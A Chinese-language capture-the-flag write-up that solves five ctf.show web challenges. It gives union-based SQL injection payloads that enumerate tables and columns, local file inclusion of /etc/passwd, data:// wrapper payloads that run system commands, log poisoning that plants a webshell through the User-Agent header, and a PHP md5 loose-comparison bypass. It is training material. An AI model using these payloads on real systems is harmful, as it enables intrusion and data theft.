1.web签到题
打开之后按F12查看源码
看着一串编码向base64,然后试一下解码得到flag
2.web2:SQL注入漏洞(联合查询)
SQL注入详细内容点这里
先输入万能密码1'or 1=1 #
回显成功
联合查询(union select)
1' union select 1,2,3#:从1试到3发现有三个字段,而且发现回显的位置是第二个
查表1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
查询flag表的字段名1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='flag'#
此处flag为字段名
取数据:1' union select 1,flag,3 from flag#,得到flag
3.web3
测试/?url=/etc/passwd回显成功
查询当前目录下的文件结构
/?url=data://text/plain,<?php print_r(glob("*")); ?>
之后在查一下
查看ctf_go_go_go文件
/?url=data://text/plain,<?php system("cat ctf_go_go_go"); ?>
就会得到flag
4.web4
考点:日志注入
web3的升级,过滤了php伪协议,使用日志注入
访问/var/log/nginx/access.log可以查看到我们输入的参数记录
在user-agent种写入一句话木马
因为日志文件中的代码会被执行。
然后用蚁剑连接(连接目标:http://xxx/?url=/var/log/nginx/access.log)在www目录下找到flag.txt
5.web5
where is flag?
<?php
error_reporting(0);
?>
<html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web5</title>
</head>
<body>
<center>
<h2>ctf.show_web5</h2>
<hr>
<h3>
</center>
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
</body>
代码审计:输入v1,v2的值,使两者的md5值0e开头,在PHP中0e会被当做科学计数法,最后以0做处理,结果相等,成功绕过,而且v1为字符,v2为数字
输入/?v1=QNKCDZO&v2=240610708
然后得到flag。